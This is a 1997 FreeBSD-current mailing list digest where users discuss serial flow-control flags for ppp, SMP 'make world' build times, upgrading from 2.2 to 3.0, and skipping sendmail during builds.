From owner-freebsd-current Sun Nov 16 02:29:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA09235 for current-outgoing; Sun, 16 Nov 1997 02:29:15 -0800 (PST) (envelope-from owner-freebsd-current) Received: from smtp.algonet.se (angel.algonet.se [194.213.74.112]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id CAA09222 for ; Sun, 16 Nov 1997 02:29:12 -0800 (PST) (envelope-from johang@mail.algonet.se) Message-Id: <199711161029.CAA09222@hub.freebsd.org> Received: (qmail 22711 invoked from network); 16 Nov 1997 10:29:08 -0000 Received: from du203-248.ppp.algonet.se (HELO pegasys) (195.100.248.203) by angel.algonet.se with SMTP; 16 Nov 1997 10:29:08 -0000 Comments: Authenticated sender is From: "Johan Granlund" To: Poul-Henning Kamp , current@FreeBSD.ORG Date: Sun, 16 Nov 1997 11:29:04 +0100 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: ppp and ascend problems, solution CC: current@FreeBSD.ORG Priority: normal References: Your message of "Sat, 15 Nov 1997 22:50:42 +0100." <199711152150.NAA26445@hub.freebsd.org> In-reply-to: <12755.879666839@critter.freebsd.dk> X-mailer: Pegasus Mail for Win32 (v2.54) Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > To: "Johan Granlund" > Cc: current@FreeBSD.ORG > Subject: Re: ppp and ascend problems, solution > Date: Sun, 16 Nov 1997 08:53:59 +0100 > From: Poul-Henning Kamp > In message <199711152150.NAA26445@hub.freebsd.org>, "Johan Granlund" writes: > >The problem was that i had "flags 0x20000" in the deviceline for sio. > >According to LINT it should enable RTS/CTS flowcontrol and that would be a > >good thing(TM). Either it's not working with ppp or i have misunderstood > >something > > That flag is only useful if you have a 16>6<50, which has some HW support > for RTS/CTS flowcontrol. > Ooops read that comment at least 10 times and read 16550, wich i have :( > -- > Poul-Henning Kamp FreeBSD coreteam member > phk@FreeBSD.ORG "Real hackers run -current on their laptop." > > ___________________________________________________________ Internet: Johang@Algonet.se I don't even speak for myself From owner-freebsd-current Sun Nov 16 02:29:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA09242 for current-outgoing; Sun, 16 Nov 1997 02:29:17 -0800 (PST) (envelope-from owner-freebsd-current) Received: from smtp.algonet.se (angel.algonet.se [194.213.74.112]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id CAA09221 for ; Sun, 16 Nov 1997 02:29:12 -0800 (PST) (envelope-from johang@mail.algonet.se) Message-Id: <199711161029.CAA09221@hub.freebsd.org> Received: (qmail 22711 invoked from network); 16 Nov 1997 10:29:08 -0000 Received: from du203-248.ppp.algonet.se (HELO pegasys) (195.100.248.203) by angel.algonet.se with SMTP; 16 Nov 1997 10:29:08 -0000 Comments: Authenticated sender is From: "Johan Granlund" To: Poul-Henning Kamp , current@FreeBSD.ORG Date: Sun, 16 Nov 1997 11:29:04 +0100 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: ppp and ascend problems, solution CC: current@FreeBSD.ORG Priority: normal References: Your message of "Sat, 15 Nov 1997 22:50:42 +0100." <199711152150.NAA26445@hub.freebsd.org> In-reply-to: <12755.879666839@critter.freebsd.dk> X-mailer: Pegasus Mail for Win32 (v2.54) Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > To: "Johan Granlund" > Cc: current@FreeBSD.ORG > Subject: Re: ppp and ascend problems, solution > Date: Sun, 16 Nov 1997 08:53:59 +0100 > From: Poul-Henning Kamp > In message <199711152150.NAA26445@hub.freebsd.org>, "Johan Granlund" writes: > >The problem was that i had "flags 0x20000" in the deviceline for sio. > >According to LINT it should enable RTS/CTS flowcontrol and that would be a > >good thing(TM). Either it's not working with ppp or i have misunderstood > >something > > That flag is only useful if you have a 16>6<50, which has some HW support > for RTS/CTS flowcontrol. > Ooops read that comment at least 10 times and read 16550, wich i have :( > -- > Poul-Henning Kamp FreeBSD coreteam member > phk@FreeBSD.ORG "Real hackers run -current on their laptop." > > ___________________________________________________________ Internet: Johang@Algonet.se I don't even speak for myself From owner-freebsd-current Sun Nov 16 03:13:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA11720 for current-outgoing; Sun, 16 Nov 1997 03:13:59 -0800 (PST) (envelope-from owner-freebsd-current) Received: from vipunen.hut.fi (root@vipunen.hut.fi [130.233.224.20]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA11715 for ; Sun, 16 Nov 1997 03:13:55 -0800 (PST) (envelope-from will@cc.hut.fi) Received: from dol-guldur.hut.fi (dol-guldur.hut.fi [130.233.224.39]) by vipunen.hut.fi (8.8.8/8.8.7) with ESMTP id NAA115378; Sun, 16 Nov 1997 13:13:51 +0200 Received: (will@localhost) by dol-guldur.hut.fi (8.8.3/8.6.7) id NAA14525; Sun, 16 Nov 1997 13:13:50 +0200 (EET) To: Steve Passe Cc: current@FreeBSD.ORG Subject: Re: make world time???/ References: From: Ville-Pertti Keinonen Date: 16 Nov 1997 13:13:49 +0200 In-Reply-To: Steve Passe's message of 13 Nov 1997 19:55:28 +0200 Message-ID: Lines: 46 X-Mailer: Gnus v5.3/Emacs 19.34 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Steve Passe writes: > > -------------------------------------------------------------- > > make world started on Mon Nov 10 10:20:31 PST 1997 > > -------------------------------------------------------------- > > ... > > -------------------------------------------------------------- > > make world completed on Mon Nov 10 17:35:28 PST 1997 > > -------------------------------------------------------------- > On my very similar hardware: > GA586DX, 2 133MHz P5s, 2 older scsiII disks: > -------------------------------------------------------------- > make world started on Fri Aug 15 01:45:01 MDT 1997 > -------------------------------------------------------------- > ... > -------------------------------------------------------------- > make world completed on Fri Aug 15 07:16:04 MDT 1997 > -------------------------------------------------------------- > 19863.39s real 11352.56s user 8057.75s system > for a total of 5 hours, 31 minutes. That's quite slow compared to what I get. On my 2x133MHz Pentium machine (-j8, src/obj on separate (src SCSI, obj IDE, neither is particularly fast) disks, -pipe, noatime, obj async): -------------------------------------------------------------- make world started on Sun Nov 9 16:01:56 EET 1997 -------------------------------------------------------------- ... -------------------------------------------------------------- make world completed on Sun Nov 9 19:29:20 EET 1997 -------------------------------------------------------------- The source tree had been cvsupped a few hours earlier. I guess the >7h and >5h results are with a SMP kernel but without -jX? Before I had SMP working properly, I made world on the same machine with a single CPU kernel, no -pipe, no noatime or async, obj and src on the same disk. It took just under 6h. An SMP kernel does seem to slow some things down a bit. From owner-freebsd-current Sun Nov 16 04:12:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA14468 for current-outgoing; Sun, 16 Nov 1997 04:12:24 -0800 (PST) (envelope-from owner-freebsd-current) Received: from adelphi.physics.adelaide.edu.au (adelphi.physics.adelaide.edu.au [129.127.36.247]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id EAA14459 for ; Sun, 16 Nov 1997 04:12:17 -0800 (PST) (envelope-from kkennawa@physics.adelaide.edu.au) Received: from bragg by adelphi.physics.adelaide.edu.au (5.65/AndrewR-930902) id AA31536; Sun, 16 Nov 1997 22:42:14 +1030 From: Kristian Kennaway Received: by bragg; (5.65/1.1.8.2/05Aug95-0227PM) id AA07432; Sun, 16 Nov 1997 22:42:17 +1030 Message-Id: <9711161212.AA07432@bragg> Subject: Re: catching up to -current on a 2.2 system To: kuku@gilberto.physik.RWTH-Aachen.DE (Christoph Kukulies) Date: Sun, 16 Nov 1997 22:42:16 +1030 (CST) Cc: freebsd-current@freefall.FreeBSD.org In-Reply-To: <199711151625.RAA06856@gil.physik.rwth-aachen.de> from "Christoph Kukulies" at Nov 15, 97 05:25:08 pm X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > So I decided today to cvsup a machine to -current > and started a world build which dies very soon with: My strategy for upgrading from 2.2 to 3.0 has been as follows: 1) Backup /usr/src and /usr/sup/src-all/* (tha latter if you're using cvsup to track the source tree) 2) rm -rf /usr/src /usr/sup/src-all/* (I seemed to run into troubles with cvsup after upgrading the source tree from 2.2 to 3.0 which seemed to be resolved when I removed the checkouts.cvs:2.2 file - I guess this was causing cvsup to barf for some reason) 3) Either download the src distribution tree from current.freebsd.org or run cvsup to pull down the new tree 4) make world 5) make a new kernel & install it (backing up the old one). Might help to take a look over some of the newer options in /usr/src/sys/i386/conf/LINT 6) Reboot - you may get errors about "bad system call"s because the system is trying to run 3.0 binaries with a 2.2 kernel. DI'm not sure just how "unstable" this interim system is, but I havent had any problems which have prevented me from building the new kernel before rebooting. That is an important step, though - you'll find yourself in trouble if you reboot BEFORE compiling and installing a 3.0 kernel, since the 2.2 kernel will have extreme difficulty interfacing with the 3.0 binaries :-) 7) At some stage, you should upgrade your /etc directory (backing the existing files up beforehand, of course). I think theres a tutorial which takes you through this on the website. > > libkvm_p.a > rm -f kvm.so kvm_i386.so kvm_file.so kvm_getloadavg.so kvm_proc.so shared/*.o > rm -f libkvm.so.*.* libkvm_pic.a > rm -f .depend > rm -f /home/src/lib/libkvm/GRTAGS /home/src/lib/libkvm/GTAGS > ===> lib/libmd > "/home/src/lib/libmd/Makefile", line 4: Malformed conditional (${BINFORMAT} != e > lf) > "/home/src/lib/libmd/Makefile", line 6: if-less endif > "/home/src/lib/libmd/Makefile", line 6: Need an operator > make: fatal errors encountered -- cannot continue > *** Error code 1 > > Stop. > *** Error code 1 > > Stop. > *** Error code 1 > This may just be a temporary snafu in the CVS tree..happens from time to time. Try another cvsup and see what happens: if you notice any "activity" in src/lib/libmd, it's likely this was just a bad commit which has been rectified. Kris From owner-freebsd-current Sun Nov 16 04:27:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA15149 for current-outgoing; Sun, 16 Nov 1997 04:27:05 -0800 (PST) (envelope-from owner-freebsd-current) Received: from adelphi.physics.adelaide.edu.au (adelphi.physics.adelaide.edu.au [129.127.36.247]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id EAA15131 for ; Sun, 16 Nov 1997 04:26:55 -0800 (PST) (envelope-from kkennawa@physics.adelaide.edu.au) Received: from bragg by adelphi.physics.adelaide.edu.au (5.65/AndrewR-930902) id AA31592; Sun, 16 Nov 1997 22:56:52 +1030 From: Kristian Kennaway Received: by bragg; (5.65/1.1.8.2/05Aug95-0227PM) id AA21856; Sun, 16 Nov 1997 22:56:55 +1030 Message-Id: <9711161226.AA21856@bragg> Subject: Re: Way to _not_ build something in make world? To: evanc@synapse.net (Evan Champion) Date: Sun, 16 Nov 1997 22:56:55 +1030 (CST) Cc: freebsd-current@FreeBSD.ORG In-Reply-To: from "Evan Champion" at Nov 15, 97 04:29:06 pm X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Is there a way to not build a particular package when make world'ing? For > example, I replace sendmail with qmail, but every time I make world it > puts back sendmail again. I'm told that make looks for files named "makefile" before it checks for "Makefile" - so creating a /usr/src/usr.sbin/sendmail/makefile which essentially does nothing should prevent this from being compiles & installed Kris From owner-freebsd-current Sun Nov 16 05:35:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA21419 for current-outgoing; Sun, 16 Nov 1997 05:35:16 -0800 (PST) (envelope-from owner-freebsd-current) Received: from logues.rhn.orst.edu (logues.RHN.ORST.EDU [128.193.137.99]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA21411 for ; Sun, 16 Nov 1997 05:35:13 -0800 (PST) (envelope-from logue@logues.rhn.orst.edu) Received: from localhost (logue@localhost) by logues.rhn.orst.edu (8.8.8/8.8.8) with SMTP id FAA00298; Sun, 16 Nov 1997 05:34:57 -0800 (PST) (envelope-from logue@logues.rhn.orst.edu) Date: Sun, 16 Nov 1997 05:34:57 -0800 (PST) From: logue To: Kristian Kennaway cc: Evan Champion , freebsd-current@FreeBSD.ORG Subject: Re: Way to _not_ build something in make world? In-Reply-To: <9711161226.AA21856@bragg> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 16 Nov 1997, Kristian Kennaway wrote: > > Is there a way to not build a particular package when make world'ing? For > > example, I replace sendmail with qmail, but every time I make world it > > puts back sendmail again. > > I'm told that make looks for files named "makefile" before it checks for > "Makefile" - so creating a /usr/src/usr.sbin/sendmail/makefile which > essentially does nothing should prevent this from being compiles & > installed Yes, man make verifies this. However to avoid make errors, put just one line in the makefile: all: I've done this in /usr/src/contrib/bind, and /usr/src/usr.sbin/xntpd. Hope it works, I'm going to find out :) -STEVEl From owner-freebsd-current Sun Nov 16 06:27:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA23590 for current-outgoing; Sun, 16 Nov 1997 06:27:23 -0800 (PST) (envelope-from owner-freebsd-current) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA23578 for ; Sun, 16 Nov 1997 06:27:14 -0800 (PST) (envelope-from brian@awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.7/8.8.7) with ESMTP id OAA27276; Sun, 16 Nov 1997 14:05:15 GMT (envelope-from brian@gate.lan.awfulhak.org) Message-Id: <199711161405.OAA27276@awfulhak.demon.co.uk> X-Mailer: exmh version 2.0zeta 7/24/97 To: Evan Champion cc: spork , Edwin Culp , freebsd-current@freebsd.org Subject: Re: Way to _not_ build something in make world? In-reply-to: Your message of "Sun, 16 Nov 1997 02:48:54 EST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 16 Nov 1997 14:05:15 +0000 From: Brian Somers Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > On Sun, 16 Nov 1997, spork wrote: > > > Copy "Makefile" to "makefile" and cvsup won't touch it, and make reads the > > lower-case one first... > > Well, I have cvsup running in delete mode, so unless I specifically told > it to leave the file alone, it's just going to nuke the makefile. I guess > there isn't really a good way of doing this that doesn't smell of hack in > one way or another. ??? Am I missing something here ? Cvsup doesn't touch /usr/src, just ~cvs or whereever. It's the `cvs co ...' that updates your /usr/src files, and, certainly on my machine, it won't nuke any of my local changes :-| I just search through the ``cvs co'' output for "^M " when I want to see what I've changed locally, and "^\? " when I want to see what I've added. > Evan > -- Brian , , Don't _EVER_ lose your sense of humour.... From owner-freebsd-current Sun Nov 16 08:11:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA28106 for current-outgoing; Sun, 16 Nov 1997 08:11:09 -0800 (PST) (envelope-from owner-freebsd-current) Received: from Ilsa.StevesCafe.com (Ilsa.StevesCafe.com [205.168.119.129]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA28101 for ; Sun, 16 Nov 1997 08:11:05 -0800 (PST) (envelope-from smp@Ilsa.StevesCafe.com) Received: from Ilsa.StevesCafe.com (localhost [127.0.0.1]) by Ilsa.StevesCafe.com (8.8.7/8.8.5) with ESMTP id JAA16013; Sun, 16 Nov 1997 09:11:01 -0700 (MST) Message-Id: <199711161611.JAA16013@Ilsa.StevesCafe.com> X-Mailer: exmh version 2.0gamma 1/27/96 From: Steve Passe To: Ville-Pertti Keinonen cc: current@FreeBSD.ORG Subject: Re: make world time???/ In-reply-to: Your message of "16 Nov 1997 13:13:49 +0200." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 16 Nov 1997 09:11:01 -0700 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi, > > for a total of 5 hours, 31 minutes. > > That's quite slow compared to what I get. On my 2x133MHz Pentium > machine (-j8, src/obj on separate (src SCSI, obj IDE, neither is > particularly fast) disks, -pipe, noatime, obj async): > > -------------------------------------------------------------- > make world started on Sun Nov 9 16:01:56 EET 1997 > -------------------------------------------------------------- > ... > -------------------------------------------------------------- > make world completed on Sun Nov 9 19:29:20 EET 1997 > -------------------------------------------------------------- > > The source tree had been cvsupped a few hours earlier. > > I guess the >7h and >5h results are with a SMP kernel but without -jX? precisely, no parallel make in place. These numbers were to show relative times for different hardware with same tree. Hopefully I will soon be able to re-run the experiment with -jx... -- Steve Passe | powered by smp@csn.net | Symmetric MultiProcessor FreeBSD From owner-freebsd-current Sun Nov 16 09:44:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA02247 for current-outgoing; Sun, 16 Nov 1997 09:44:25 -0800 (PST) (envelope-from owner-freebsd-current) Received: from conductor.synapse.net (conductor.synapse.net [199.84.54.18]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id JAA02239 for ; Sun, 16 Nov 1997 09:44:18 -0800 (PST) (envelope-from evanc@synapse.net) Received: (qmail 18666 invoked from network); 16 Nov 1997 17:44:11 -0000 Received: from cello.synapse.net (199.84.54.81) by conductor.synapse.net with SMTP; 16 Nov 1997 17:44:11 -0000 Date: Sun, 16 Nov 1997 12:44:10 -0500 (EST) From: Evan Champion To: freebsd-current@freebsd.org Subject: Which setuid's don't work? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Are any of the get/setuid functions ie: setuid seteuid setreuid (and their get/gid combinations) still not working properly in 3.0-current (and I suppose 2.2* as well)? I'm wondering because the perl5 hints still have seteuid() disabled, even though it seems to work fine in my Kerberos 5 ksu. Evan From owner-freebsd-current Sun Nov 16 12:00:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA10972 for current-outgoing; Sun, 16 Nov 1997 12:00:14 -0800 (PST) (envelope-from owner-freebsd-current) Received: from fly.HiWAAY.net (sprice@fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA10966 for ; Sun, 16 Nov 1997 12:00:11 -0800 (PST) (envelope-from sprice@hiwaay.net) Received: from localhost (sprice@localhost) by fly.HiWAAY.net (8.8.7/8.8.6) with SMTP id OAA03359; Sun, 16 Nov 1997 14:00:09 -0600 (CST) Date: Sun, 16 Nov 1997 14:00:09 -0600 (CST) From: Steve Price To: Steve Passe cc: current@FreeBSD.ORG Subject: Re: make world time???/ In-Reply-To: <199711161611.JAA16013@Ilsa.StevesCafe.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 16 Nov 1997, Steve Passe wrote: # precisely, no parallel make in place. These numbers were to show relative # times for different hardware with same tree. Hopefully I will soon # be able to re-run the experiment with -jx... # I just saw this and I wanted to say thanks to you, Peter, and the rest of the SMP team. I installed my second P5-166 in my machine at work and about 30 minutes later (after rebuilding the kernel) I was up and running with both CPUs and no hiccups so far. [insert crowd_cheering_at_95dB.wav here] BTW, here are my results with 'make -j8 -k world' from that night: make world started on Fri Now 14 19:27:31 CST 1997 ... make world completed on Fri Nov 14 21:21:26 CST 1997 Just under 2H, I'd say that pretty much kicks b*tt. :) Steve # -- # Steve Passe | powered by # smp@csn.net | Symmetric MultiProcessor FreeBSD # # # From owner-freebsd-current Sun Nov 16 12:43:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA13699 for current-outgoing; Sun, 16 Nov 1997 12:43:50 -0800 (PST) (envelope-from owner-freebsd-current) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA13694 for ; Sun, 16 Nov 1997 12:43:47 -0800 (PST) (envelope-from hasty@rah.star-gate.com) Received: from rah.star-gate.com (localhost.v-site.net [127.0.0.1]) by rah.star-gate.com (8.8.8/8.8.5) with ESMTP id MAA08177; Sun, 16 Nov 1997 12:43:36 -0800 (PST) Message-Id: <199711162043.MAA08177@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: Steve Price cc: Steve Passe , current@FreeBSD.ORG Subject: Re: make world time???/ In-reply-to: Your message of "Sun, 16 Nov 1997 14:00:09 CST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 16 Nov 1997 12:43:36 -0800 From: Amancio Hasty Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Cool! I am curious as for the make world time on a dual PPro system with fast disks. It looks like we are very cpu bound with fast disks. Tnks, Amancio From owner-freebsd-current Sun Nov 16 15:32:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA23146 for current-outgoing; Sun, 16 Nov 1997 15:32:38 -0800 (PST) (envelope-from owner-freebsd-current) Received: from ady.warp.starnets.ro (ady.warp.starnets.ro [193.226.124.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA23124; Sun, 16 Nov 1997 15:32:23 -0800 (PST) (envelope-from ady@warp.starnets.ro) Received: from localhost (ady@localhost) by ady.warp.starnets.ro (8.8.6/8.8.6) with SMTP id BAA05012; Mon, 17 Nov 1997 01:32:06 +0200 (EET) Date: Mon, 17 Nov 1997 01:32:06 +0200 (EET) From: Penisoara Adrian To: freebsd-current@FreeBSD.org, freebsd-isp@FreeBSD.org Subject: Latest 3.0-SNAP for ISP Production server ? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Hi, I'm sorry to bother you all but I really am out of 'sync' with -current events... We have an dual Pentium machine running 3.0-970718-SNAP and we have big plans for it (it's our main server) so I'd like to 'upgrade' it to the newest stable SNAP in this time frame, while we're going to do a bunch of changes in the networking infrastructure. Beeing our main server I'd like to know what's the latest _stable_ SNAP; I'm specially looking for stable AIC7XXX (AHA2940AU adapter), MFS, PPP and networking subsystems. Thank you very much and please forgive me again for disturbing you. Ady (@warp.starnets.ro) Warp Net Technologies http://www.warp.starnets.ro From owner-freebsd-current Sun Nov 16 16:35:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA26372 for current-outgoing; Sun, 16 Nov 1997 16:35:23 -0800 (PST) (envelope-from owner-freebsd-current) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA26365 for ; Sun, 16 Nov 1997 16:35:15 -0800 (PST) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.7/8.8.5) id TAA24705; Sun, 16 Nov 1997 19:35:05 -0500 (EST) From: "John S. Dyson" Message-Id: <199711170035.TAA24705@dyson.iquest.net> Subject: Re: make world time???/ In-Reply-To: from Steve Price at "Nov 16, 97 02:00:09 pm" To: sprice@hiwaay.net (Steve Price) Date: Sun, 16 Nov 1997 19:35:05 -0500 (EST) Cc: smp@csn.net, current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Steve Price said: > > I just saw this and I wanted to say thanks to you, Peter, and the > rest of the SMP team. I installed my second P5-166 in my machine > at work and about 30 minutes later (after rebuilding the kernel) > I was up and running with both CPUs and no hiccups so far. > > [insert crowd_cheering_at_95dB.wav here] > > BTW, here are my results with 'make -j8 -k world' from that night: > > make world started on Fri Now 14 19:27:31 CST 1997 > ... > make world completed on Fri Nov 14 21:21:26 CST 1997 > > Just under 2H, I'd say that pretty much kicks b*tt. :) > > Steve > That is SUPER for dual P5!!! Not to speak religion here, but imagine that P5's normally share the 2nd level cache. There are probably people with dual P6 machines that don't do much better that that... Great! -- John dyson@freebsd.org jdyson@nc.com From owner-freebsd-current Sun Nov 16 17:21:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA29374 for current-outgoing; Sun, 16 Nov 1997 17:21:52 -0800 (PST) (envelope-from owner-freebsd-current) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA29367 for ; Sun, 16 Nov 1997 17:21:47 -0800 (PST) (envelope-from hasty@rah.star-gate.com) Received: from rah.star-gate.com (localhost.v-site.net [127.0.0.1]) by rah.star-gate.com (8.8.8/8.8.5) with ESMTP id RAA00618; Sun, 16 Nov 1997 17:21:32 -0800 (PST) Message-Id: <199711170121.RAA00618@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: "John S. Dyson" cc: sprice@hiwaay.net (Steve Price), smp@csn.net, current@FreeBSD.ORG Subject: Re: make world time???/ In-reply-to: Your message of "Sun, 16 Nov 1997 19:35:05 EST." <199711170035.TAA24705@dyson.iquest.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 16 Nov 1997 17:21:31 -0800 From: Amancio Hasty Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hmm... I do a make world in about 75 minutes -- I just didn't do profiled libraries. My system: PPro 200mhz 48MB, Seagate Cheetah 4.3GB UW (10000) /usr mounted async noatime CFLAGS= -O -pipe I noticed that my system is very cpu bound when I do a make world. So it will be very nice to find out what a dual PPro 200Mhz system with fast disks can do . Cheers, Amancio > Steve Price said: > > > > I just saw this and I wanted to say thanks to you, Peter, and the > > rest of the SMP team. I installed my second P5-166 in my machine > > at work and about 30 minutes later (after rebuilding the kernel) > > I was up and running with both CPUs and no hiccups so far. > > > > [insert crowd_cheering_at_95dB.wav here] > > > > BTW, here are my results with 'make -j8 -k world' from that night: > > > > make world started on Fri Now 14 19:27:31 CST 1997 > > ... > > make world completed on Fri Nov 14 21:21:26 CST 1997 > > > > Just under 2H, I'd say that pretty much kicks b*tt. :) > > > > Steve > > > That is SUPER for dual P5!!! Not to speak religion here, but imagine that > P5's normally share the 2nd level cache. There are probably people with > dual P6 machines that don't do much better that that... Great! > > -- > John > dyson@freebsd.org > jdyson@nc.com From owner-freebsd-current Sun Nov 16 17:24:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA29486 for current-outgoing; Sun, 16 Nov 1997 17:24:10 -0800 (PST) (envelope-from owner-freebsd-current) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA29481 for ; Sun, 16 Nov 1997 17:24:04 -0800 (PST) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.7/8.8.5) id UAA01642; Sun, 16 Nov 1997 20:23:50 -0500 (EST) From: "John S. Dyson" Message-Id: <199711170123.UAA01642@dyson.iquest.net> Subject: Re: make world time???/ In-Reply-To: <199711170121.RAA00618@rah.star-gate.com> from Amancio Hasty at "Nov 16, 97 05:21:31 pm" To: hasty@rah.star-gate.com (Amancio Hasty) Date: Sun, 16 Nov 1997 20:23:50 -0500 (EST) Cc: sprice@hiwaay.net, smp@csn.net, current@FreeBSD.ORG Reply-To: dyson@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Amancio Hasty said: > Hmm... > > I do a make world in about 75 minutes -- I just didn't do profiled libraries. > > My system: > PPro 200mhz 48MB, Seagate Cheetah 4.3GB UW (10000) > > /usr mounted async noatime > > CFLAGS= -O -pipe > > I noticed that my system is very cpu bound when I do a make world. > > So it will be very nice to find out what a dual PPro 200Mhz system with > fast disks can do . > That is pretty good also. But imagine how much a 2/P5-166 has going against it. -- John dyson@freebsd.org jdyson@nc.com From owner-freebsd-current Sun Nov 16 18:56:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA05068 for current-outgoing; Sun, 16 Nov 1997 18:56:07 -0800 (PST) (envelope-from owner-freebsd-current) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA05045; Sun, 16 Nov 1997 18:55:47 -0800 (PST) (envelope-from hasty@rah.star-gate.com) Received: from rah.star-gate.com (localhost.v-site.net [127.0.0.1]) by rah.star-gate.com (8.8.8/8.8.5) with ESMTP id SAA00234; Sun, 16 Nov 1997 18:55:45 -0800 (PST) Message-Id: <199711170255.SAA00234@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: dyson@FreeBSD.ORG cc: sprice@hiwaay.net, smp@csn.net, current@FreeBSD.ORG Subject: Re: make world time???/ In-reply-to: Your message of "Sun, 16 Nov 1997 20:23:50 EST." <199711170123.UAA01642@dyson.iquest.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 16 Nov 1997 18:55:44 -0800 From: Amancio Hasty Sender: owner-freebsd-current@FreeBSD.ORG 